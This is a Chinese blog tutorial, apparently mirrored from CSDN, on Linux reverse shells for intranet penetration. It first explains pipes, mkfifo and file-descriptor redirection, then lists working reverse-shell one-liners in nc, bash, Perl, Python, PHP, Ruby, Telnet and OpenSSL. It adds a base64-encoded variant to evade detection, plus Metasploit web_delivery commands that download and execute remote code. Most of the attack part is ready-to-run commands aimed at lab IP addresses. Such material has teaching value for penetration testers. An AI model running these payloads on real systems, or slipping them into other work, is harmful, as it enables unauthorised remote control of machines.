内网渗透之Linux反弹shell(综合)_linux base64 渗透_不知名白帽的博客-程序员秘密

技术标签: 安全  网络  运维  # 内网渗透  linux  服务器  网络安全  

前言

作者简介:不知名白帽,网络安全学习者。

博客主页:https://blog.csdn.net/m0_63127854?type=blog

内网渗透专栏:https://blog.csdn.net/m0_63127854/category_11885934.html

网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan

目录

知识点

Linux mkfifo命令基本用法

1.首先了解linux命令执行顺序

2.然后了解下管道命令(pipe)

3.常见管道命令

4.mkfifo则可以创建命名管道

Linux标准文件描述符

更改标准输出的位置

更改标准输入的位置

/dev/null

重定向

输入重定向

输出重定向

管道

环境

01NC正向Shell

02NC反向Shell

环境

03.1Bash

03.2Bash

04.1Perl

04.2Perl

05.1Python

05.2Python

环境

05.3Python

06.1PHP

06.2PHP

07Ruby

08.1Telnet

08.2Telnet

09OpenSSL


知识点


Linux mkfifo命令基本用法

参考链接:

https://www.cnblogs.com/old-path-white-cloud/p/11685558.html

https://www.jianshu.com/p/9c0c2b57cb73

1.首先了解linux命令执行顺序

通常情况下,终端只能执行一条命令,然后按下回车,那么执行多条命令呢

·顺序执行多条命令,可以用分号;

cmd1;cmd2;cmd3

·条件执行多条命令,使用&&(前一个命令执行成功,即$?=0时,执行下一条命令,否则不执行)和||(前一个命令执行失败,既$?≠0时,执行下一条命令)

cmd1&&cmd2||cmd3

·$?:上一次命令的返回结果,0为执行成功,不为0则为执行失败

2.然后了解下管道命令(pipe)

·管道是一种通信机制,用于进程间的通信(也可通过socket进行网络通信),表现出来的形式将前面的每一个进程的输出,直接作为下一个进程的输入

·管道命令仅能处理stdout(标准输出),而error则会忽略

3.常见管道命令

·cut、grep、sort、wc、uniq

·tee:重定向,既能在屏幕输出,又能保存到文件中

·tr、col、join、paste、expand、split

4.mkfifo则可以创建命名管道

什么是命名管道

|(竖线)为管道,是两个进程之间的通信通道

例如:ls|grep txt

ls和grep由|分开,管道创建了程序之间的通信通道,将ls的输出作为输入传给grep

由mkfifo创建出来的就是一个命名管道

例如:mkfifo pipe2

pipe2就是一个命名管道。

命名管道的作用

可以将输出信道化到不同终端

例如:

在第一个终端执行

ls > pipe2

在第二个终端执行

cat < pipe2(或cat pipe2,是取一次。cat < pipe2是持续输入,只要有内容传到pipe2中,就会有内容输出)

pipe2更像是一个临时存储的地方,使用cat pipe2取过内容之后,再执行cat pipe2 ,则不会有显示

识别命名管道

命名管道可以像正常文件一样访问,在文档类型可以看到为p

[[email protected] ~]# ll pipe2

prw-r--r-- 1 root root 0 Oct 16 14:53 pipe2

也可以使用chmod设置权限

删除就像正常文件一样使用rm删除即可

Linux常见的文件类型有7种,分别如下所示:

文件属性

文件类型

-

常规文件,即file

d

目录文件

b

block device即块设备文件,如硬盘;支持以block为单位进行随机访问

c

character device 即字符设备文件,如键盘支持以character为单位进行线性访问

l

symbolic link 即符号链接文件,又称软链接文件

p

pipe 即命名管道文件

s

socket 即套接字文件,用于实现两个进程进行通信

Linux标准文件描述符

Linux系统将所有设备都当作文件来处理,而Linux用文件描述符来标识每个文件对象。当Linux启动的时候会默认打开三个文件描述符

文件描述符

缩写

描述

默认设备

0

STDIN

标准输入

默认设备键盘

1

STDOUT

标准输出

默认设备显示器

2

STDERR

标准错误输出

默认设备显示器

·我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出

·文件描述符0理解为我和计算机交互时的输入,而这个输入默认是指向键盘的;

·文件描述符1理解为我和计算机交互时的输出,而这个输出默认是只想显示器的;

·文件描述符2理解为我和计算机交互时,计算机出现错误时的输出,而这个输出默认是和计算机描述符1指向一个位置;

更改标准输出的位置

把标准输出位置更改到test文件中

exec 1> test

更改标准输入的位置

从键盘输入,把输入读入user变量

→ ~ → read user

testtest

→ ~ → echo $user

testtest

把当前标准输出重定向到test文件中

→ ~ → echo '1st' 1> test

→ ~ → cat test

1st

当前标准输入重定向到test文件中

→ ~ → read user 0< test

→ ~ → echo $user

1st

标准错误输出和标准输出的区别是,它在命令出错情况下的输出

exec 2> test

分配自己的文件描述符

→ ~ → exec 5> test

→ ~ → echo 'are you ok?' 1>&5

→ ~ → cat test

把文件描述符5指向test文件,然后把当前输出重定向到文件描述符5(用&引用文件描述符,即找到文件描述符指向的目标文件)

/dev/null

特殊文件,写入的任何东西都会被清空

1.把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息

whoami 2>/dev/null

2.快速移除文件中的数据而不用删除文件

cat /dev/null > test

重定向

重定向是把输出定向到文件或者标准流。重定向输入输出本质上就是重定向文件描述符,

输入重定向

<

从文件读取输入

输出重定向

>

将输入保存到文件

>>

将输出追加到文件

管道

|

将一个程序的输出作为输入发送到另一个程序

环境

kali 192.168.0.104

centos7 192.168.0.105

01NC正向Shell

控制端:

nc -lvvp 6666

被控端:

nc -e /bin/sh 192.168.0.104 6666

反弹shell

原理:

被控端使用nc将bin/sh绑定到本地的6666端口·控制端主动连接被控端的6666端口·即可获得shell

02NC反向Shell

没有-e参数反弹shell:

nc -lvvp 6667

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.104 6667 > /tmp/f

反弹shell

使用cat /tmp/f命令,linux输入的命令会在centos上呈现

mkfifo命令首先创建了一个管道·cat将管道里面的内容输出传递给/bin/sh·sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道·由此形成了一个回路

mknod backpipe p;nc 192.168.0.103 6667 0<backpipe | /bin/bash 1>backpipe 2>backpipe

环境

kali                        192.168.0.104

centos7                 192.168.0.105    

03.1Bash

控制端:

nc -lvvp 6666

被控端:

bash -i >& /dev/tcp/192.168.0.104/6668 0>&1

bash -i > /dev/tcp/192.168.0.104/6668 0>&1 2>&1

>&、&> :混合输出(正确、错误的都输出到一个地方)

反弹shell

03.2Bash

控制端:

nc -lvvp 6669

被控端:

exec 5<> /dev/tcp/192.168.0.104/6669;cat <&5 | while read line;do $line 2>&5 >&5;done

反弹shell

base64编码绕过:

bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzY2NjkgMD4mMQ==|base64 -d|bash -i"

反弹shell

04.1Perl

nc -lvvp 6670

perl -e 'use  Socket;$i="192.168.0.104";$p=6670;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

反弹shell

04.2Perl

nc -lvvp 6671

perl -MIO -e '$p=fork;exit,if($p);$c=new  IO::Socket::INET(PeerAddr,"192.168.0.104:6671");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

反弹shell

查找包含perl语言的payload

msfvenom -l payloads | grep "perl" | awk '{print $1}'

05.1Python

nc -lvvp 6672

python -c 'import  socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.104",6672));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

反弹shell

05.2Python

通过Msfvenom生成python反弹shell的payload:

查看攻击模板

msfvenom -l payloads | grep "python" | awk '{print $1}'

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=6673 -f raw

handler -p python/meterpreter/reverse_tcp -H 192.168.0.104 -P 6673

利用生成的payload在centos7执行

python -c "payload"

反弹shell

环境

kali                        192.168.0.100

ubuntu                   192.168.0.104

05.3Python

通过Web delivery反弹shell:

use exploit/multi/script/web_delivery

set target 0

set payload python/meterpreter/reverse_tcp

set lhost 192.168.0.100

set lport 6674

exploit –j

python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.100:8080/37ywCheomL', context=ssl._create_unverified_context());exec(r.read());" 

注意:python报错的话可以参考此链接:

https://dsalearning.github.io/linux/linux-xrdp-install/

反弹shell

06.1PHP

nc -lvvp 6675

php -r '$sock=fsockopen("192.168.0.100",6675);exec("/bin/sh -i <&3 >&3 2>&3");'

反弹shell

06.2PHP

通过web_delivery反弹shell:

use exploit/multi/script/web_delivery

set target 1

set payload php/meterpreter/reverse_tcp

set lhost 192.168.0.100

set lport 6676

exploit –j

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.0.100:8080/5APzkJZHvxfB', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

反弹shell

07Ruby

查看攻击模板

msfvenom -l payload | grep "ruby" | awk '{print($1)}'

nc -lvvp 6677

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.100","6677");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

08.1Telnet

nc -lvvp 6678

nc -lvvp 6679

telnet 192.168.0.100 6678 | /bin/bash | telnet 192.168.0.100 6679 

监听6678端口执行命令,结果会在6679端口输出

08.2Telnet

nc -lvvp 6680

rm -f a && mknod a p && telnet 192.168.0.100 6680 0<a | /bin/bash 1>a

反弹shell

09OpenSSL

1. 在远程攻击主机上生成秘钥文件

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 - nodes

2. 在远程攻击主机上启动监视器

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

3. 在目标机上反弹shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect

<ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/m0_63127854/article/details/126535638

智能推荐

小马哥教你-------手机SD卡变RAM 增加虚拟内存方法_安卓机器的博客-程序员秘密

如何增加手机虚拟内存?手机的RAM太小了怎么办?怎么样增加手机内存?没关系,只要你的手机有SD卡,下边的方法就能帮你增大手机的运行内存,不过该方法容易对SD卡有损伤,请谨慎操作. 有时

给定一个int数组,拼接出最大值(求数组中所有数拼成的最大数)_给定数组 返回拼接的最大数字_weixin_42956047的博客-程序员秘密

给定一个整数,拼接出最大值(求数组中所有数拼成的最大数)public class ZhiJieTiaoDong { /* 给定一个数组:组合成最大数值 */ public String szpj(int[] args){ if(null == args || args.length == 0){ return ""; } StringBuilder stringBuilder = new S

学习Python必去的8个网站!_nalnait的博客-程序员秘密

作为一个现时代的程序员初学者,除了看书之外,互联网的学习手段也是断不能少的!以下这些网站,虽说不上全方位的满足你的需求,但是大部分也都能!0.国外的大神GitHub :https://github.com/pypa/pipenv gitHub是一个面向开源及私有软件项目的托管平台,就算现在已经被微软重金收购,也丝毫不影响大家对它的爱!1.Python Code Exam...

C#调用C++编写的DLL函数各种参数传递问题_c#调用c++dll 参数传递_爬行的菜鸟的博客-程序员秘密

1. 不返回值的参数C++ 原型: [cpp] view plain copybool    SendNewSms(char *szTel, char *szMessage);    C#引用; [csharp] view plain copy[DllImport( &quot;CdmaCard.dll&quot;,EntryPoint=&quot;SendNewSms&quot;)]   pub...

软件安装(4)-pytorch1.8.1安装_菜园子找青虫的博客-程序员秘密

pytorch下载地址https://pytorch.org/点击下载网址,出现如下画面,点击箭头处可以下载历史版本之前安装了cuda11.1,这里选择安装cuda11.1的pytorch1.8.1,得到命令行:conda install pytorch torchvision torchaudio cudatoolkit=11.1 -c pytorch -c conda-forge打开cmd,之前下载了anaconda,准备在anaconda里面创建的虚拟环境进行pytorch1.8.1安装。

pacemaker简介_minxihou的博客-程序员秘密

前言:这里是小白工作学习中对pacemaker的见解,大神可以直接绕道了,如果写的不对的地方欢迎大神指正。对于初学的小白来说推荐一个网站,这个网站讲的还是挺全的:http://clusterlabs.org/pacemaker.htmlpacemaker简介下面我们用一张图来简易说明下这个到底是干啥用的。 在硬件层面我们可以看到多个节点上启用了不同服务,如数据库,Apache服务等,这里你可以

随便推点

【数据库提权】- SQL Server提权_sqlserver 2005 数据库提权_池羽_chiyu的博客-程序员秘密

渗透测试往往由信息收集开始,而提权是渗透测试中较为重要的环节,若始终以“低权限”身份进行渗透,测试出的问题相对于高权限的质量会低很多,权限提升意味着用户获得不允许他使用的权限。比如从一个普通用户,通过“手段”让自己变为管理员用户,也可以理解为利用操作系统或软件应用程序中的错误,设计缺陷或配置错误来获得对更高访问权限的行为。提权又分为系统提权、数据库提权、第三方提权等等,此篇文章就介绍了SQL Serve部分的提权方法,一起来看看吧。知识补充系统库库名 含义 master .

TestNG使用教程详解_testng教程_xl1024w的博客-程序员秘密

一、TestNG介绍TestNG是Java中的一个测试框架, 类似于JUnit 和NUnit, 功能都差不多, 只是功能更加强大,使用也更方便。详细使用说明请参考官方链接:https://testng.org/doc/index.html二、TestNG安装(基于eclipse+maven)工程的pom.xml中需要添加如下内容:&lt;dependency&gt; &lt;groupId&gt;org.testng&lt;/groupId&gt; &lt;art

如何从零开始搭建一个完整的K8S集群-------基于CentOS 8系统_centos stream安装k8s_migu666的博客-程序员秘密

k8s集群搭建:k8s有三个重要组件:使用kubeadm是k8s官方推荐的一个进群部署工具kubectl 是命令行客户端(相当于mysql)kubelet 是后台进程(相当于mysqld)软件环境:虚拟机: VMware Workstation Pro 15操作系统:CentOS Linux release 8.1创建三个centos节点:10.0.0.180 k8s-master10.0.0.91 k8s-nnode110.0.0.136 k8s-nnode2查看c

两个集合求差集_两个集合取差集_IT小卒的博客-程序员秘密

http://blog.csdn.net/v_july_v/article/details/11921021已知集合A和B的元素分别用不含头结点的单链表存储,函数difference()用于求解集合A与B的差集,并将结果保存在集合A的单链表中。例如,若集合A={5,10,20,15,25,30},集合B={5,15,35,25},完成计算后A={10,20,30}。链表结点的结构类型定

5G网络技术:构建智慧交通的助推器_mouruikeji2021的博客-程序员秘密

5G网络的出现是科学技术发展的必然结果,能够使移动通信一直处在联网的状态下,因此,对于人们信息的收集和利用是非常重要的。而智慧交通体系的构建是需要利用互联网将交通数据转化为模型,从模型中来判断、分析交通的情况。因此,在智慧交通体系构建中运用5G网络技术,对于交通事业的发展有着重要的作用。5G网络及智慧交通(1) 5G网络5G网络是第5代移动通信技术的简称,其主要性能目标是高数据速率、减少延迟、节省能源、降低成本、提高系统容量和大规模设备连接。其主要优势在于数据传输速率远远高于以前的蜂窝网络,并且响应

实现一个简单的windows TCP服务端_tcp服务端 windows版_我像是一条咸鱼的博客-程序员秘密

实现一个简单的windows TCP服务端#include &lt;iostream&gt;#include &lt;chrono&gt;#include &lt;thread&gt;#include &lt;array&gt;#include &lt;io.h&gt;#include &lt;winsock2.h&gt;#include &lt;ws2tcpip.h&gt;#pragma comment(lib, "ws2_32.lib")#define SO_OPENTYPE 0x70

推荐文章

热门文章

相关标签